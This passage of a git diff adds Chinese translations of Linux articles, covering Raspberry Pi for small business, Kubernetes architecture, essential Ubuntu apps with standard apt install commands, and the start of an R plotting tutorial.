+选题:[lujun9972][b] +译者:[mcfd](https://github.com/mcfd) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/tomasz +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/sites/default/files/buyeggs.png (Example notification) +[3]: https://opensource.com/article/22/1/linux-desktop-notifications/#script-notifications-on-macOS +[4]: https://manpages.ubuntu.com/manpages/xenial/man1/notify-send.1.html +[5]: https://opensource.com/sites/default/files/buildfail.png (Build fail notification) +[6]: https://opensource.com/sites/default/files/stop-it.png (Stop for the day notification) +[7]: https://letsdebug.it/post/30-linux-desktop-notifications/ diff --git a/published/202207/20220115 Why use a Raspberry Pi to power your business.md b/published/202207/20220115 Why use a Raspberry Pi to power your business.md new file mode 100644 index 0000000000..e14dbdcdfb --- /dev/null +++ b/published/202207/20220115 Why use a Raspberry Pi to power your business.md @@ -0,0 +1,80 @@ +[#]: subject: "Why use a Raspberry Pi to power your business" +[#]: via: "https://opensource.com/article/22/1/raspberry-pi-business" +[#]: author: "Giuseppe Cassibba https://opensource.com/users/peppe8o" +[#]: collector: "lujun9972" +[#]: translator: "void-mori" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14829-1.html" + +为何要使用树莓派为你的业务提供动力 +====== + +> 为何小小的单板机是智能工作以及小型办公室的未来。 + +![](https://img.linux.net.cn/data/attachment/album/202207/15/152016pcjh4heez4q0oof6.jpg) + +随着疫情的大流行,我们的工作方式也正在发生着改变。工作的分散化正在成为所有公司需要面临的一项重要挑战。 + +### 智能办公室 + +即使工厂认为智能办公仅仅是通过虚拟私有网络来对员工的笔记本电脑进行远程控制,再稍微增加一点进化也可以让一些基本的办公服务离人们更近一点,这些都能够极大降低数据中心的负载,并且提高人们的工作体验。这个方案还有一个额外的影响就是从信息和通信技术(ICT)上来说消除了许多单点故障。 + +与其在公司外部有成百上千的工作场地,不如在世界范围内有着成百上千的小型办公室/分支,这就是所谓的“智能办公室”。 + +这种表述可能会让许多 ICT 专家感到恐慌,因为这种文化使得每个办公室都与一台大机器(即服务器)联系在一起,即使分散计算资源的优势非常明显。 + +### 一个不同的角度 + +如果你能用一块 50 美元的小开发板提供一个大服务器的服务会怎么样?如果这个小板子只需要一张 SD 卡和一个普通的 USB 电源支持,那又会怎么样呢?这就是 [树莓派][2] 是最灵活的解决方案的原因所在。 + +树莓派开发板是尺寸非常小的运行 Linux 的计算机。它有一个由树莓派基金会提供和维护的操作系统:树莓派操作系统Raspberry Pi OS。它基于 Debian,并与这个最知名的 Linux 发行版共享许多软件包。此外,许多树莓派的开发板能够完美运行最知名的 Ubuntu 服务器,它涵盖了 ARM 处理器支持,提供了对低功耗处理器的支持。 + +但树莓派开发板对小公司来说也是一个很好的机会,以能够承担得起的代价获得大量的(开源)服务。但这种情况下,你必须考虑数据丢失的风险,因为你把所有的服务运行在一个小的、消费级的硬件上。不过设置正确的备份/恢复程序能够降低这些风险。 + +### 你能从树莓派开发板上提供什么服务? + +大多数服务通常由更昂贵的服务器提供。这里的“大多数”取决于一些限制: + + * **ARM 处理器:** 一些软件包只支持 x86/x64 处理器。这是最难克服的挑战之一。但另一方面,ARM 处理器的市场份额不断增长,使得程序员为他们的软件开发了兼容 ARM 处理器的版本。 + * **内存容量:** 这是一个仅限于在复杂应用以复杂的方式进行复杂的计算的情况下讨论的问题。很多时候,这只不过是关于重新审查代码、拆分步骤,并保持简单高效的问题。此外,如果一个服务虽然只服务少数几个用户,但需要大量的内存/CPU,这大概也意味着此服务没有正常工作。这可能是你消除浪费资源的旧问题的一个机会。最后,最新的树莓派开发板把内存容量升级到了 8GB,这是一个很大的提升。 + * **对服务器没有经验的用户:** 这是另一个问题,你可以在基础镜像所在的树莓派的 micro-SD 卡中存储系统和运行数据。 + +也就是说,你能够用树莓派做很多有趣的事情。在 [我的博客][4] 里,我通过运行各种服务进行了测试 —— 从基本的 LAMP 服务器到复杂的 CRM。从简单到复杂系统,全部都是开源的,例如: + + * 代理服务器(也能够添加广告拦截服务) + * 电子邮件服务器 + * 打印服务器 + * [酒店管理][5] + * 联系关系管理(CRM) + * [私人社交网络][6] + * 私人论坛 + * 私有 Git 门户网站 + * 网络监控服务器 + * [许多其他有用的服务][7] + +对树莓派来说,另一个有趣的用法是在你的远程办公室获得提供高级服务的 Wi-Fi 热点,并且可以从它的以太网端口进行控制。  + +最后,[树莓派也能够运行容器][8],这是一个额外的工具,从这个不可思议的开发板中获得一个可用的服务世界。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/raspberry-pi-business + +作者:[Giuseppe Cassibba][a] +选题:[lujun9972][b] +译者:[void-mori](https://github.com/void-mori) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/peppe8o +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BIZ_WorkInPublic_4618517_1110_CS_A.png?itok=RwVrWArk "A chair in a field." +[2]: https://opensource.com/resources/raspberry-pi +[3]: https://enterprisersproject.com/article/2020/11/raspberry-pi-7-enterprise-it-uses +[4]: https://peppe8o.com +[5]: https://opensource.com/article/20/4/qloapps-raspberry-pi +[6]: https://opensource.com/article/20/3/raspberry-pi-open-source-social +[7]: https://peppe8o.com/category/raspberrypi/ +[8]: https://opensource.com/article/20/8/kubernetes-raspberry-pi diff --git a/published/202207/20220214 A guide to Kubernetes architecture.md b/published/202207/20220214 A guide to Kubernetes architecture.md new file mode 100644 index 0000000000..ca87e0e93c --- /dev/null +++ b/published/202207/20220214 A guide to Kubernetes architecture.md @@ -0,0 +1,165 @@ +[#]: subject: "A guide to Kubernetes architecture" +[#]: via: "https://opensource.com/article/22/2/kubernetes-architecture" +[#]: author: "Nived Velayudhan https://opensource.com/users/nivedv" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14789-1.html" + +Kubernetes 架构指南 +====== + +> 了解 Kubernetes 架构中不同组件是如何组合在一起的,这样你就可以更好地排查问题、维护一个健康的集群,以及优化工作流。 + +![](https://img.linux.net.cn/data/attachment/album/202207/03/105135ey33hhx022m9y9fr.jpg) + +使用 Kubernetes 来编排容器,这种描述说起来简单,但理解它的实际含义以及如何实现它完全是另外一回事。如果你正在运行或管理 Kubernetes 集群,那么你就会知道 Kubernetes 由一台称为 “控制平面control plane” 的机器和许多其他 工作节点worker node 机器组成。每种类型都有一个复杂但稳定的堆栈,这使编排成为可能,熟悉每个组件有助于理解它是如何工作的。 + +![Kubernetes 架构图][2] + +*(Nived Velayudhan, [CC BY-SA 4.0][3])* + +### 控制平面组件 + +Kubernetes 安装在一个称为“控制平面control plane”的机器上,它会运行 Kubernetes 守护进程,并在启动容器和容器组pod时与之通信。下面介绍控制平面的各个组件。 + +#### etcd + +etcd 是一种快速、分布式一致性键值存储器,用作 Kubernetes 对象数据的持久存储,如容器组、副本控制器、密钥和服务。etcd 是 Kubernetes 存储集群状态和元数据的唯一地方。唯一与 etcd 直连的组件是 Kubernetes API 服务器。其他所有组件都通过 API 服务器间接的从 etcd 读写数据。 + +etcd 还实现了一个监控功能,它提供了一个基于事件的接口,用于异步监控键的更改。一旦你更改了一个键,它的监控者就会收到通知。API 服务器组件严重依赖于此来获得通知,并将 etcd 变更至期望状态。 + +_为什么 etcd 实例的数量应该是奇数?_ + +你通常会运行三个、五个或七个 etcd 实例实现高可用(HA)环境,但这是为什么呢?因为 etcd 是分布式数据存储,可以水平扩展它,但你需要确保每个实例中的数据是一致的。因此,需要为系统当前状态达成共识,etcd 为此使用 [RAFT 共识算法][4]。 + +RAFT 算法需要经过选举(或仲裁)集群才能进入下一个状态。如果你只有两个 etcd 实例并且他们其中一个失败的话,那么 etcd 集群无法转换到新的状态,因为不存在过半这个概念。如果你有三个 etcd 实例,一个实例可能会失败,但仍有 2 个实例可用于进行选举。 + +#### API 服务器 + +API 服务器是 Kubernetes 中唯一直接与 etcd 交互的组件。Kubernetes 中的其他所有组件都必须通过 API 服务器来处理集群状态,包括客户端(kubectl)。API 服务器具有以下功能: + + * 提供在 etcd 中存储对象的一致方式。 + * 执行验证对象,防止客户端存储配置不正确的对象(如果它们直接写入 etcd 数据存储,可能会发生这种情况)。 + * 提供 RESTful API 来创建、更新、修改或删除资源。 + * 提供 [乐观并发锁][5],在发生更新时,其他客户端永远不会有机会重写对象。 + * 对客户端发送的请求进行身份验证和授权。它使用插件提取客户端的用户名、ID、所属组,并确定通过身份验证的用户是否可以对请求的资源执行请求的操作。 + * 如果请求试图创建、修改或删除资源,则负责 [权限控制][6]。例如,AlwaysPullImages、DefaultStorageClass 和 ResourceQuota。 + * 实现了一种监控机制(类似于 etcd),用户客户端监控更改。这允许调度器和控制器管理器等组件以松耦合的方式与 API 服务器交互。 + +#### 控制器管理器 + +在 Kubernetes 中,控制器持续监控集群状态,然后根据需要进行或请求更改。每个控制器都尝试将当前集群状态变更至期望状态。控制器至少跟踪一种 Kubernetes 资源类型,这些对象均有一个字段来表示期望的状态。 + +控制器示例: + + * 副本管理器(管理副本控制器ReplicationController资源的控制器) + * 副本集ReplicaSet守护进程集DaemonSet 和任务控制器 + * 部署控制器 + * 有状态负载控制器 + * 节点控制器 + * 服务控制器 + * 接入点控制器 + * 命名空间控制器 + * 持久卷PersistentVolume控制器 + +控制器通过监控机制来获得变更通知。它们监视 API 服务器对资源的变更,对每次更改执行操作,无论是新建对象还是更新或删除现有对象。大多数时候,这些操作包括创建其他资源或更新监控的资源本身。不过,由于使用监控并不能保证控制器不会错过任何事件,它们还会定期执行一系列操作,确保没有错过任何事件。 + +控制器管理器还执行生命周期功能。例如命名空间创建和生命周期、事件垃圾收集、已终止容器组垃圾收集、[级联删除垃圾收集][7] 和节点垃圾收集。有关更多信息,参考 [云控制器管理器][8]。 + +#### 调度器 + +调度器是一个将容器组分配给节点的控制平面进程。它会监视新创建没有分配节点的容器组。调度器会给每个发现的容器组分配运行它的最佳节点。 + +满足容器组调度要求的节点称为可调度节点。如果没有合适的节点,那么容器组会一直处于未调度状态,直到调度器可以安置它。一旦找到可调度节点,它就会运行一组函数来对节点进行评分,并选择得分最高的节点,然后它会告诉 API 服务器所选节点的信息。这个过程称为绑定。 + +节点的选择分为两步: + + 1. 过滤所有节点的列表,获得可以调度容器组的节点列表(例如,PodFitsResources 过滤器检查候选节点是否有足够的可用资源来满足容器组的特定资源请求)。 + 2. 对第一步得到的节点列表进行评分和排序,选择最佳节点。如果得分最高的有多个节点,循环过程可确保容器组会均匀地部署在所有节点上。 + +调度决策要考虑的因素包括: + + * 容器组是否请求硬件/软件资源?节点是否报告内存或磁盘压力情况? + * 节点是否有与容器组规范中的节点选择器匹配的标签? + * 如果容器组请求绑定到特定地主机端口,该端口是否可用? + * 容器组是否容忍节点的污点? + * 容器组是否指定节点亲和性或反亲和性规则? + +调度器不会指示所选节点运行容器组。调度器所做的就是通过 API 服务器更新容器组定义。然后 API 服务器通过监控机制通知 kubelet 容器组已被调度,然后目标节点上的 kubelet 服务看到容器组被调度到它的节点,它创建并运行容器组。 + +### 工作节点组件 + +工作节点运行 kubelet 代理,这允许控制平面接纳它们来处理负载。与控制平面类似,工作节点使用几个不同的组件来实现这一点。 以下部分描述了工作节点组件。 + +#### Kubelet + +Kubelet 是一个运行在集群中每个节点上的代理,负责在工作节点上运行的所有事情。它确保容器在吊舱中运行。 + +kubelet服务的主要功能有: + + * 通过在 API 服务器中创建节点资源来注册它正在运行的节点。 + * 持续监控 API 服务器上调度到节点的容器组。 + * 使用配置的容器运行时启动容器组的容器。 + * 持续监控正在运行的容器,并将其状态、事件和资源消耗报告给 API 服务器。 + * 运行容器存活探测,在探测失败时重启容器,当 API 服务器中删除容器组时终止(通知服务器容器组终止的消息)。 + +#### 服务代理 + +服务代理(kube-proxy)在每个节点上运行,确保一个容器组可以与另一个容器组通讯,一个节点可以与另一个节点对话,一个容器可以与另一个容器对话。它负责监视 API 服务器对服务和容器组定义的更改,以保持整个网络配置是最新的。当一项服务得到多个容器组的支持时,代理会在这些容器组之间执行负载平衡。 + +kube-proxy 之所以叫代理,是因为它最初实际上是一个代理服务器,用于接受连接并将它们代理到容器组。当前的实现是使用 iptables 规则将数据包重定向到随机选择的后端容器组,而无需通过实际的代理服务器。 + +关于它工作原理的高级视图: + + * 当你创建一个服务时,会立即分配一个虚拟 IP 地址。 + * API 服务器会通知在工作节点上运行的 kube-proxy 代理有一个新服务。 + * 每个 kube-proxy 通过设置 iptables 规则使服务可寻址,确保截获每个服务 IP/端口对,并将目的地址修改为支持服务的一个容器组。 + * 监控 API 服务器对服务或其端点对象的更改。 + +#### 容器运行时 + +容器运行时有两类: + + * **较低级别的容器运行时:** 它们主要关注运行中的容器并为容器设置命名空间和控制组cgroup。 + * **更高级别的容器运行时(容器引擎):** 它们专注于格式、解包、管理、共享镜像以及为开发人员提供 API。 + +容器运行时负责: + + * 如果容器镜像本地不存在,则从镜像仓库中提取。 + * 将镜像解压到写时复制文件系统,所有容器层叠加创建一个合并的文件系统。 + * 准备一个容器挂载点。 + * 设置容器镜像的元数据,如覆盖命令、用户输入的入口命令,并设置 SECCOMP 规则,确保容器按预期运行。 + * 通知内核将进程、网络和文件系统等隔离分配给容器。 + * 通知内核分配一些资源限制,如 CPU 或内存限制。 + * 将系统调用(syscall)传递给内核启动容器。 + * 确保 SElinux/AppArmor 设置正确。 + +### 协同 + +系统级组件协同工作,确保 Kubernetes 集群的每个部分都能实现其目和执行其功能。当你深入编辑 [YAML 文件][10] 时,有时很难理解请求是如何在集群中通信的。现在你已经了解了各个部分是如何组合在一起的,你可以更好地理解 Kubernetes 内部发生了什么,这有助于诊断问题、维护健康的集群并优化你的工作流。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/kubernetes-architecture + +作者:[Nived Velayudhan][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/nivedv +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/containers_modules_networking_hardware_parts.png?itok=rPpVj92- (Parts, modules, containers for software) +[2]: https://opensource.com/sites/default/files/uploads/kubernetes-architecture-diagram.png (Kubernetes architecture diagram) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://www.geeksforgeeks.org/raft-consensus-algorithm/ +[5]: https://stackoverflow.com/questions/52910322/kubernetes-resource-versioning#:~:text=Optimistic%20concurrency%20control%20\(sometimes%20referred,updated%2C%20the%20version%20number%20increases. +[6]: https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/ +[7]: https://kubernetes.io/docs/concepts/architecture/garbage-collection/ +[8]: https://kubernetes.io/docs/concepts/architecture/cloud-controller/ +[9]: https://www.redhat.com/architect/how-kubernetes-creates-runs-containers +[10]: https://www.redhat.com/sysadmin/yaml-beginners diff --git a/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md b/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md new file mode 100644 index 0000000000..4b04331930 --- /dev/null +++ b/published/202207/20220519 Top 10 Essential Ubuntu Apps For Everyone in 2022.md @@ -0,0 +1,195 @@ +[#]: subject: "Top 10 Essential Ubuntu Apps For Everyone in 2022" +[#]: via: "https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14794-1.html" + +10 大必备 Ubuntu 应用:基本篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/05/132504xx09az5i4ip0pel5.jpg) + +> 本文列出了 2022 年可以用于不同情况的 10 个 Ubuntu 基本应用。 + +不管你是偶尔使用的用户、学生、老师,还是科学家、开发人员和创意工作者,在工作上你需要各种各样的应用程序。Linux 生态系统有数以千计的应用程序,它们分散在各个角落,几乎可以满足各种需求。而包括 Ubuntu 在内的大多数主流 Linux 发行版,默认都只提供了基本的应用程序。 + +在这个五篇系列文章的第一篇中,我们列出了一些每个人都用的上的专门应用。 + +### 1、GNOME 优化工具 + +如果你在使用 Ubuntu GNOME 版,GNOME 优化工具GNOME Tweak Tool是你必备的实用工具。使用这个工具来定制你的桌面,你可以改变字体、缩放比例、主题、光标和许多其他选项。默认的设置窗口现在没有列出所有这些选项。 + +此外,你也能用该应用改变窗口装饰、标题栏、标题栏按钮以及开机启动项。 + +你可以使用应用商店搜索 “Tweaks” 来安装它,或者通过下列终端的命令来安装: + +``` +sudo apt install gnome-tweaks +``` + +![GNOME Tweaks Tool][2] + +### 2、Steam + +由于 Valve 公司和相关社区的贡献,在 Linux 上玩游戏不再困难。[Steam][3] 是 Valve 公司开发的电子游戏服务的前端平台,你可以通过 Steam 在 Ubuntu 上获取最新的游戏版本。此外,Steam 客户端提供反外挂监测、自动更新,和支持带有流媒体功能的社交对话。 + +如果你是一个 Linux 游戏玩家,Steam 是常用的客户端,你可以用下面的命令来安装。此外,你可以在应用商店中搜索 “Steam Installer” 并使用 [Flatpak][4] 或 [Snap][5] 进行安装。 + +``` +sudo apt install steam +``` + +![Steam Client][6] + +### 3、Peek + +在我看来,[Peek][7] 是一款被低估的应用。它是一个 GIF 动画录像机,对各种工作场景都非常有用。这是一款非常强大的应用程序,它适合在 Ubuntu 或任何 Linux 发行版中使用。此外,Peek 带有诸如录制区域选择、倒计时、GIF/MP4/WebM 支持等选项。它的后端使用的是 ffmpeg 。 + +在应用商店中搜索 “peek” 或者在命令行输入以下命令来安装这款优秀的应用。 + +``` +sudo apt install peek +``` + +![Peek][8] + +### 4、新立得 + +[新立得][9]Synaptic 是一款杰出的软件包管理器,可以帮助你以传统方式添加和移除软件包。有经验的 Linux 用户知道它的特性以及灵活性。你可以在各种库中搜索软件包、验证依赖性并进行安装。 + +如果你经常安装和卸载软件包,这是一个完美的应用程序。你可以通过以下命令或在应用商店中搜索 “synaptic” 来安装它。 + +``` +sudo apt install synaptic +``` + +![Synaptic Package Manager][10] + +### 5、GDebi + +正如上面提到的新立得,你也可以试试 [GDebi][11] 软件包安装程序,它带有几种功能。GDebi 软件包安装程序是用于安装外部 deb 文件的命令行实用程序。此外,GDebi 安装 .deb 包速度更快、效率更高,可以快速解决依赖关系并为你下载它们。 + +它是 Ubuntu 上安装 .deb 包最好的终端程序之一,你可以用以下命令安装它。安装后,你可以运行 `gdebi <你的 .deb 软件包路径>` 来安装任何软件包。 + +``` +sudo apt install gdebi +``` + +### 6、Geary + +不管从事什么工作,你需要一个 Ubuntu 桌面的本地 [邮箱客户端][12]。电子邮件对很多人来说仍然是有意义和有价值的。尽管 Ubuntu 默认带有最好的 Thunderbird 电子邮件客户端,但你也可以试试其它的电子邮件客户端应用,或许可以给你带来更好体验。 + +[Geary][13] 拥有友好而简洁的用户界面,能够让你更简单的设置多个邮件账号。此外, Geary 也带来了会话功能、更快的搜索、撰写富文本电子邮件以及其他功能,这使它成为 Linux 桌面的“首选”电子邮件客户端。 + +你可以使用如下命令或者在应用商店中搜索 “Geary” 来安装 Geary 。也可以通过 [Flatpak][14] 获得。 + +``` +sudo apt install geary +``` + +![Geary][15] + +### 7. 谷歌 Chrome 浏览器 + +虽然很多人担心隐私以及跟踪,但谷歌 Chrome 仍然是浏览器市场的领头者。Ubuntu 默认提供了 Firefox 浏览器,但随着近期火狐的 Snap 事件,你可能想换到其它浏览器。 + +如果你与谷歌生态系统密切相关,并希望在流媒体和浏览方面获得更好的网络体验,你可能会考虑使用谷歌 Chrome。但是,如果你担心隐私和跟踪,你可以选择其他一些浏览器,例如 Brave 或 Vivaldi。 + +你可以从下面链接中下载 .deb 包来安装谷歌 Chrome 安装器。安装后,你可以打开应用商店来安装它。 + +> **[下载谷歌 Chrome][16]** + +### 8、Kdenlive + +[Kdenlive][17] 是 Linux 上最好的自由开源的视频编辑器之一。 Kdenlive 设计良好的用户界面易于使用,并且带来了各种功能。使用 Kdenlive,你可以简单的导入视频片段,更改画布分辨率,并在编辑后导出为多种格式。时间线和工具让只需你单击一个按钮即可剪切和添加标题、转场和效果。此外,如果你是视频编辑新手,学习起来也非常容易。 + +Kdenlive 是一个非常活跃的项目,每个主要版本都会带有更多先进的功能。这是 2022 年必不可少的 Ubuntu 应用程序之一,如果你想与其它 [免费视频编辑器][18] 进行比较,你可以看看此列表。 + +使用以下命令安装 Kdenlive 很简单。除此,你可以用 [Flatpak][19] 或 [Snap][20] 版本来安装。 + +``` +sudo apt install kdenlive +``` + +![Kdenlive Video Editor][21] + +### 9. Spectacle + +你可能尝试过很多截屏应用。但在我看来,[Spectacle][22] 或许是最好的、也是被低估了的一款应用。Spectacle 是一款 KDE 应用程序,速度超快,非常适合需要截屏并使用的任何工作需求。你可以在自定义的延时后截取整个桌面、部分桌面或窗口。如果需要,窗口截屏还可以选择截取窗口装饰和光标。Spectacle 还为你提供了一个内置的注释功能,可以涂鸦、书写和标记你的图像。 + +此外,你还可以直接从其主窗口在 GIMP 或任何图像编辑器中打开图像,并将其导出。此外,自动保存、将截屏复制到剪贴板以及共享到社交媒体是 Spectacle 的一些独特功能。 + +在我看来,它是一个带有内置屏幕录像机的完整截图工具。 + +你可以用以下命令或者从 [Snap][23] 中安装 Spectacle。 + +``` +sudo apt install kde-spectacle +``` + +![Spectacle Screenshot tool][24] + +### 10. VLC 媒体播放器 + +Ubuntu Linux 的 GNOME 版默认带有可以播放视频文件的 GNOME 视频应用程序。但由于缺乏解码功能,GNOME 视频无法播放多种视频格式。这就是为什么你应该考虑一下 [VLC 媒体播放器][25] —— 它是 Linux 桌面上的“首选”媒体播放器。 + +VLC 确实可以播放任何格式。它甚至可以帮助你播放数据不完整的损坏视频文件。它是强大的媒体播放器之一,你可以使用下面的命令来安装。 + +此外,如果你偏向于另一种安装方式,你可以通过 [Flatpak][26] 或者 [Snap][27] 安装。 + +``` +sudo apt install vlc +``` + +![VLC Media Player][28] + +### 结语 + +2022 年必备的 Ubuntu 应用程序系列的第 1 部分到此结束。通过以上信息,我希望你可以选择一些应用供你的日常使用。在下面的评论框中告诉我你更喜欢此列表中的哪些应用程序。 + +最后,请继续关注本 Ubuntu 应用程序系列的第 2 部分。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/essential-ubuntu-apps-2022-part-1/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://gitlab.gnome.org/GNOME/gnome-tweaks +[2]: https://www.debugpoint.com/wp-content/uploads/2022/05/GNOME-Tweaks-Tool.jpg +[3]: https://store.steampowered.com/ +[4]: https://flathub.org/apps/details/com.valvesoftware.Steam +[5]: https://snapcraft.io/steam +[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Steam-Client.jpg +[7]: https://github.com/phw/peek +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/Peek-in-action2.jpg +[9]: https://www.nongnu.org/synaptic/ +[10]: https://www.debugpoint.com/wp-content/uploads/2022/05/Synaptic-Package-Manager.jpg +[11]: https://launchpad.net/gdebi +[12]: https://www.debugpoint.com/2019/06/best-email-client-linux-windows/ +[13]: https://wiki.gnome.org/Apps/Geary +[14]: https://flathub.org/apps/details/org.gnome.Geary +[15]: https://www.debugpoint.com/wp-content/uploads/2019/06/Geary.png +[16]: https://www.google.com/chrome +[17]: https://kdenlive.org/ +[18]: https://www.debugpoint.com/2019/09/best-free-video-editors-linux-ubuntu/ +[19]: https://flathub.org/apps/details/org.kde.kdenlive +[20]: https://snapcraft.io/kdenlive +[21]: https://www.debugpoint.com/wp-content/uploads/2021/01/Kdenlive-Video-Editor.jpg +[22]: https://apps.kde.org/spectacle/ +[23]: https://snapcraft.io/spectacle +[24]: https://www.debugpoint.com/wp-content/uploads/2022/05/Spectacle-Screenshot-tool.jpg +[25]: https://www.videolan.org/vlc +[26]: https://flathub.org/apps/details/org.videolan.VLC +[27]: https://snapcraft.io/vlc +[28]: https://www.debugpoint.com/wp-content/uploads/2022/05/VLC-Media-Player.jpg diff --git a/published/202207/20220527 Plotting Data in R- Graphs.md b/published/202207/20220527 Plotting Data in R- Graphs.md new file mode 100644 index 0000000000..f2877704fc --- /dev/null +++ b/published/202207/20220527 Plotting Data in R- Graphs.md @@ -0,0 +1,322 @@ +[#]: subject: "Plotting Data in R: Graphs" +[#]: via: "https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/" +[#]: author: "Shakthi Kannan https://www.opensourceforu.com/author/shakthi-kannan/" +[#]: collector: "lkxed" +[#]: translator: "tanloong" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14830-1.html" + +R 语言绘制数据:图表篇 +====== + +R 语言有非常多的绘图和数据可视化的包,比如 `graphics`、`lattice`、`ggplot2` 等。这是 R 语言系列的第 9 篇文章,我们会介绍 R 中用来绘图的各种函数。 + +![](https://img.linux.net.cn/data/attachment/album/202207/15/155129rsfee22secwyii8w.jpg) + +本文使用的 R 是 4.1.2 版本,运行环境为 Parabola GNU/Linux-libre (x86-64)。 + +``` +$ R --version + +R version 4.1.2 (2021-11-01) -- "Bird Hippie" +Copyright (C) 2021 The R Foundation for Statistical Computing +Platform: x86_64-pc-linux-gnu (64-bit) +``` + +R 是自由软件,没有任何担保责任。只要遵守 GNU 通用公共许可证的版本 2 或者版本 3,你就可以对它进行(修改和)再分发。详情见 [https://www.gnu.org/licenses/](https://www.gnu.org/licenses/)。 + +### 折线图 + +我们以印度全境消费者物价指数(CPI -- 乡村/城市)数据集为研究对象,它可以从 [https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0](https://data.gov.in/catalog/all-india-consumer-price-index-ruralurban-0) 下载。选择“截止到 2021 年 11 月” 的版本,用 `read.csv` 函数读取下载好的文件,如下所示: + +``` +> cpi <- read.csv(file="CPI.csv", sep=",") + +> head(cpi) +Sector Year Name Andhra.Pradesh Arunachal.Pradesh Assam Bihar +1 Rural 2011 January 104 NA 104 NA +2 Urban 2011 January 103 NA 103 NA +3 Rural+Urban 2011 January 103 NA 104 NA +4 Rural 2011 February 107 NA 105 NA +5 Urban 2011 February 106 NA 106 NA +6 Rural+Urban 2011 February 105 NA 105 NA +Chattisgarh Delhi Goa Gujarat Haryana Himachal.Pradesh Jharkhand Karnataka +1 105 NA 103 104 104 104 105 104 +2 104 NA 103 104 104 103 104 104 +3 104 NA 103 104 104 103 105 104 +4 107 NA 105 106 106 105 107 106 +5 106 NA 105 107 107 105 107 108 +6 105 NA 104 105 106 104 106 106 +... +``` + +以 Punjab 州为例,对每年各月份的 CPI 值求和,然后用 `plot` 函数画一张折线图: + +``` +> punjab <- aggregate(x=cpi$Punjab, by=list(cpi$Year), FUN=sum) + +> head(punjab) +Group.1 x +1 2011 3881.76 +2 2012 4183.30 +3 2013 4368.40 +4 2014 4455.50 +5 2015 4584.30 +6 2016 4715.80 + +> plot(punjab$Group.1, punjab$x, type="l", main="Punjab Consumer Price Index upto November 2021", xlab="Year", ylab="Consumer Price Index") +``` + +`plot` 函数可以传入如下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 向量类型,用于绘制 x 轴的数据 | +| `y` | 向量或列表类型,用于绘制 y 轴的数据 | +| `type` | 设置绘图类型:`p` 画点;`l` 画线;`o` 同时画点和线,且相互重叠;`s` 画阶梯线;`h` 画铅垂线 | +| `xlim` | x 轴范围 | +| `ylim` | y 轴范围 | +| `main` | 标题 | +| `sub` | 副标题 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `axes` | 逻辑型,是否绘制坐标轴 | + +结果如图 1。 + +![Figure 1: Line chart][2] + +### 自相关图 + +自相关图能在时序分析中展示一个变量是否具有自相关性,可以用 R 中的 `acf` 函数绘制。`acf` 函数可以设置三种自相关类型:`correlation`、`covariance` 或 `partial`。图 2 是 Punjab 州 CPI 值的自相关图,x 表示 CPI。 + +``` +acf(punjab$x,main='x') +``` + +![Figure 2: ACF chart][3] + +`acf` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 一个单变量或多变量的时序对象,或者一个数值向量或数值矩阵 | +| `lag.max` | 最大滞后阶数 | +| `type` | 字符型,设置所计算的自相关类型:`correlation`、`covariance` 或 `partial` | +| `plot` | 逻辑性,若 `TRUE` 则绘制图像,若 `FALSE` 则打印传入数据的描述信息 | +| `i` | 一组要保留的时差滞后 | +| `j` | 一组要保留的名称或数字 | + +### 柱状图 + +R 中画柱状图的函数是 `barplot`。下面的代码用来画 Punjab 州 CPI 的柱状图,如图3: + +``` +> barplot(punjab$x, main="Punjab Consumer Price Index", sub="Upto November 2021", xlab="Year", ylab="Consumer Price Index", col="navy") +``` + +![Figure 3: Line chart of Punjab's CPI][4] + +`barplot` 函数的使用方法非常灵活,可以传入以下参数: + +| 参数 | 描述 | +| 